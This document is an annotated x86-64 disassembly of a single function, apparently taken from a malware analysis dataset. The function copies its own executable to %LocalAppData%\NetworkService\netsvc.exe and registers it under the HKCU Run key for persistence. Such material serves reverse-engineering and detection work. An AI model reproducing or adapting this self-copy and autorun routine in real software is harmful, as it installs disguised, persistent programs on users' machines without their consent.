Function at 0x140004480
Capabilities:
Copy file
Create directory
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x498
xor ebx, ebx
mov ecx, 0x40
mov r8d, 0x100
mov rax, rbx
lea rdi, [rsp + 0x90]
lea r14, [rsp + 0x90]
rep stosq qword [rdi], rax
mov rdx, r14
lea rbp, [rsp + 0x290]
lea rdi, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, rbx
mov ecx, 0x40
mov rdx, rbp
rep stosq qword [rdi], rax
mov r8d, 0x100
lea rcx, str.LocalAppData
lea rbx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rcx, rbp
mov qword [rsp + 0x70], rbx
call sub.msvcrt.dll_wcslen
lea rdi, [rax + rax]
mov rsi, rax
mov r12, rdi
sar r12, 1
cmp rdi, 0xe
ja 0x140004850
mov rcx, qword [rsp + 0x70]
cmp r12, 1
jne 0x140004810
movzx eax, word [rsp + 0x290]
mov word [rcx], ax
xor eax, eax
mov qword [rsp + 0x78], r12
lea r15, str.NetworkService
mov word [rcx + rsi*2], ax
mov rcx, r15
call sub.msvcrt.dll_wcslen
mov r12, qword [rsp + 0x78]
mov rsi, rax
movabs rax, 0x3fffffffffffffff
mov rdx, rax
sub rdx, r12
cmp rdx, rsi
jb 0x140004e29
mov rdi, qword [rsp + 0x70]
lea rbp, [rsi + r12]
cmp rdi, rbx
je 0x140004c08
mov r13, qword [rsp + 0x80]
cmp r13, rbp
jb 0x1400048a8
test rsi, rsi
je 0x1400045b8
lea rcx, [rdi + r12*2]
cmp rsi, 1
je 0x140004ce0
lea r8, [rsi + rsi]
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x70]
xor r12d, r12d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x78], rbp
lea rdx, [rbp + rbp]
mov word [rdi + rbp*2], r12w
mov qword [rsp + 0x50], rax
cmp rdi, rbx
je 0x140004c30
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rax
lea rcx, str._netsvc.exe
mov qword [rsp + 0x58], rbp
xor edi, edi
call sub.msvcrt.dll_wcslen
mov rbp, qword [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov rsi, rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x78], 0
lea r12, [rsi + rbp]
mov word [rsp + 0x80], di
mov qword [rsp + 0x30], rax
cmp r12, 7
jbe 0x140004830
mov rax, r12
shr rax, 0x3e
jne 0x140004e41
cmp r12, 0xd
jbe 0x140004b58
movabs rax, 0x4000000000000000
lea rcx, [r12 + 1]
cmp rcx, rax
je 0x140004d60
add rcx, rcx
call fcn.1400bbc20
mov r13, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
mov r15, rax
lea r8, [r13 + 1]
test r13, r13
je 0x140004cc0
test r8, r8
jne 0x140004b40
cmp rdi, rbx
je 0x1400046b1
mov rax, qword [rsp + 0x80]
mov rcx, rdi
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
mov r13, qword [rsp + 0x78]
movabs rax, 0x3fffffffffffffff
mov qword [rsp + 0x70], r15
mov rdx, rax
mov qword [rsp + 0x80], r12
sub rdx, r13
cmp rdx, rbp
jb 0x14000483d
lea rdi, [rbp + r13]
cmp r12, rdi
jb 0x140004970
test rbp, rbp
je 0x14000470c
lea rcx, [r15 + r13*2]
cmp rbp, 1
je 0x140004b70
mov rdx, qword [rsp + 0x30]
lea r8, [rbp + rbp]
call sub.msvcrt.dll_memcpy
mov r15, qword [rsp + 0x70]
lea r13, [rdi + rdi]
xor r10d, r10d
mov qword [rsp + 0x78], rdi
movabs rax, 0x3fffffffffffffff
mov rdx, rax
lea rcx, [r15 + r13]
sub rdx, rdi
mov word [rcx], r10w
cmp rdx, rsi
jb 0x140004e35
lea rbp, [rsi + rdi]
cmp r15, rbx
je 0x140004c90
mov r12, qword [rsp + 0x80]
cmp r12, rbp
jb 0x140004a73
test rsi, rsi
je 0x14000477b
cmp rsi, 1
je 0x140004b80
lea r8, [rsi + rsi]
lea rdx, str._netsvc.exe
call sub.msvcrt.dll_memcpy
mov r15, qword [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x78], rbp
mov rcx, qword [rsp + 0x50]
mov word [r15 + rbp*2], dx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x1400047bc
mov rdx, rcx
mov r8d, 1
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004ba0
mov rcx, qword [rsp + 0x70]
xor esi, esi
cmp rcx, rbx
je 0x1400047d5
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
cmp rcx, rax
je 0x1400047f3
mov rax, qword [rsp + 0x60]
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
mov eax, esi
add rsp, 0x498
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test r12, r12
je 0x140004536
mov r8, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x70]
jmp 0x140004536
mov rax, rbp
shr rax, 0x3e
je 0x140004c70
lea rcx, section..rdata
call fcn.1400be1d0
nop dword [rax]
movabs rax, 0x7ffffffffffffffe
cmp rax, rdi
jb 0x140004e71
movabs rax, 0x3fffffffffffffff
cmp r12, rax
je 0x140004db0
lea rcx, [rdi + 2]
call fcn.1400bbc20
mov r8, rdi
mov rdx, rbp
mov qword [rsp + 0x80], r12
mov rcx, rax
mov qword [rsp + 0x70], rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x70]
jmp 0x140004536
cmp rax, rbp
jb 0x140004e4d
add r13, r13
cmp rbp, r13
jb 0x140004b90
mov r13, rbp
movabs rax, 0x4000000000000000
lea rcx, [r13 + 1]
cmp rcx, rax
je 0x140004b99
add rcx, rcx
call fcn.1400bbc20
mov r9, qword [rsp + 0x70]
mov rdi, rax
test r12, r12
je 0x14000490f
cmp r12, 1
je 0x140004d50
mov rdx, r9
lea r8, [r12 + r12]
mov rcx, rax
mov qword [rsp + 0x30], r9
call sub.msvcrt.dll_memcpy
mov r9, qword [rsp + 0x30]
test rsi, rsi
je 0x140004938
lea rcx, [rdi + r12*2]
cmp rsi, 1
je 0x140004d40
lea r8, [rsi + rsi]
mov rdx, r15
mov qword [rsp + 0x30], r9
call sub.msvcrt.dll_memcpy
mov r9, qword [rsp + 0x30]
cmp r9, rbx
je 0x140004952
mov rax, qword [rsp + 0x80]
mov rcx, r9
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
mov qword [rsp + 0x80], r13
xor r13d, r13d
mov word [rdi + rbp*2], r13w
jmp 0x1400045dd
cmp rax, rdi
jb 0x140004e59
add r12, r12
cmp rdi, r12
jb 0x140004d20
mov r12, rdi
movabs rax, 0x4000000000000000
lea rcx, [r12 + 1]
cmp rcx, rax
je 0x140004d29
add rcx, rcx
call fcn.1400bbc20
mov r10, qword [rsp + 0x70]
mov r15, rax
test r13, r13
je 0x1400049d9
cmp r13, 1
je 0x140004d68
mov rdx, r10
lea r8, [r13 + r13]
mov rcx, rax
mov qword [rsp + 0x38], r10
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x38]
cmp qword [rsp + 0x30], 0
je 0x140004a0d
test rbp, rbp
je 0x140004a0d
lea rcx, [r15 + r13*2]
cmp rbp, 1
je 0x140004d78
mov rdx, qword [rsp + 0x30]
lea r8, [rbp + rbp]
mov qword [rsp + 0x38], r10
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x38]
cmp r10, rbx
je 0x140004a27
mov rax, qword [rsp + 0x80]
mov rcx, r10
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
lea r13, [rdi + rdi]
xor r11d, r11d
mov qword [rsp + 0x70], r15
movabs rax, 0x3fffffffffffffff
lea rcx, [r15 + r13]
sub rax, rdi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r12
mov word [rcx], r11w
cmp rax, rsi
jb 0x140004e35
mov r12, qword [rsp + 0x80]
lea rbp, [rsi + rdi]
cmp r12, rbp
jae 0x140004757
movabs rax, 0x3fffffffffffffff
cmp rax, rbp
jb 0x140004e65
add r12, r12
cmp rbp, r12
jb 0x140004d30
mov r12, rbp
movabs rax, 0x4000000000000000
lea rcx, [r12 + 1]
cmp rcx, rax
je 0x140004d39
add rcx, rcx
call fcn.1400bbc20
mov r10, qword [rsp + 0x70]
mov r15, rax
test rdi, rdi
je 0x140004ae4
cmp rdi, 1
je 0x140004d90
mov rdx, r10
mov r8, r13
mov rcx, rax
mov qword [rsp + 0x30], r10
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x30]
test rsi, rsi
je 0x140004b11
lea rcx, [r15 + r13]
cmp rsi, 1
je 0x140004da0
lea r8, [rsi + rsi]
lea rdx, str._netsvc.exe
mov qword [rsp + 0x30], r10
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x30]
cmp r10, rbx
je 0x140004b2b
mov rax, qword [rsp + 0x80]
mov rcx, r10
lea rdx, [rax + rax + 2]
call fcn.1400bbbe0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x80], r12
jmp 0x14000477b
add r8, r8
mov rdx, rdi
mov rcx, rax
call sub.msvcrt.dll_memcpy
jmp 0x140004692
mov ecx, 0x1e
mov r12d, 0xe
jmp 0x14000466a
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
mov word [rcx], ax
jmp 0x14000470c
mov r9d, 0x5c
mov word [rcx], r9w
jmp 0x14000477b
cmp rax, r13
jae 0x1400048c0
call fcn.1400bdfe0
nop
lea r8, [rsp + 0x48]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
mov r9d, 1
xor r8d, r8d
lea rdx, [0x1400c30c8]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x70]
mov esi, 1
jmp 0x1400047be
cmp rbp, 7
ja 0x140004db8
test rsi, rsi
jne 0x140004599
xor eax, eax
lea rdx, [rbp + rbp]
mov word [rbx + rbp*2], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
add rdx, 2
mov r8, rax
mov rcx, rbx
cmp edx, 8
jae 0x140004cf0
xor eax, eax
test dl, 4
je 0x140004c54
mov eax, dword [rcx]
mov dword [r8], eax
mov eax, 4
and edx, 2
je 0x1400045ef
movzx edx, word [rcx + rax]
mov word [r8 + rax], dx
jmp 0x1400045ef
cmp rbp, 7
ja 0x140004de0
mov rdi, rbp
mov r15, rbx
xor r13d, r13d
jmp 0x1400046e5
cmp rbp, 7
jbe 0x140004757
cmp rax, rbp
jb 0x140004e65
cmp rbp, 0xd
ja 0x140004a92
mov ecx, 0x1e
mov r12d, 0xe
jmp 0x140004ab0
movzx eax, word [rdi]
mov word [r15], ax
cmp rdi, rbx
jne 0x140004697
xor r13d, r13d
jmp 0x1400046b1
mov eax, 0x5c
mov word [rcx], ax
jmp 0x1400045b8
mov r10d, edx
xor ecx, ecx
and r10d, 0xfffffff8
mov r8d, ecx
add ecx, 8
mov r9, qword [rbx + r8]
mov qword [rax + r8], r9
cmp ecx, r10d
jb 0x140004cf9
lea r8, [rax + rcx]
add rcx, rbx
jmp 0x140004c43
cmp rax, r12
jae 0x140004988
call fcn.1400bdfe0
nop
cmp rax, r12
jae 0x140004a95
call fcn.1400bdfe0
nop
mov r15d, 0x5c
mov word [rcx], r15w
jmp 0x140004938
movzx eax, word [r9]
mov word [rdi], ax
jmp 0x14000490f
call fcn.1400bdfe0
nop dword [rax]
movzx eax, word [r10]
mov word [r15], ax
jmp 0x1400049d9
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
mov word [rcx], ax
jmp 0x140004a0d
movzx eax, word [r10]
mov word [r15], ax
jmp 0x140004ae4
mov r8d, 0x5c
mov word [rcx], r8w
jmp 0x140004b11
call fcn.1400bdfe0
nop dword [rax]
cmp rax, rbp
jb 0x140004e4d
cmp rbp, 0xd
ja 0x1400048bd
mov ecx, 0x1e
mov r13d, 0xe
jmp 0x1400048da
cmp rbp, 0xd
jbe 0x140004df4
mov rdi, rbp
mov r12, rbp
xor r13d, r13d
jmp 0x140004988
mov ecx, 0x1e
call fcn.1400bbc20
cmp qword [rsp + 0x30], 0
mov r10, qword [rsp + 0x70]
mov r15, rax
mov rdi, rbp
mov r12d, 0xe
je 0x140004a0d
mov rcx, rax
mov r12d, 0xe
jmp 0x1400049f4
lea rcx, section..rdata
call fcn.1400be1d0
lea rcx, section..rdata
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
lea rcx, [0x1400c3015]
call fcn.1400be1d0
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.1400aa490
lea rcx, [rsp + 0x50]
call fcn.1400aa490
mov rcx, rbx
call fcn.140011d20
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.1400aa490
mov rcx, rbx
call fcn.140011d20
jmp 0x140004e7d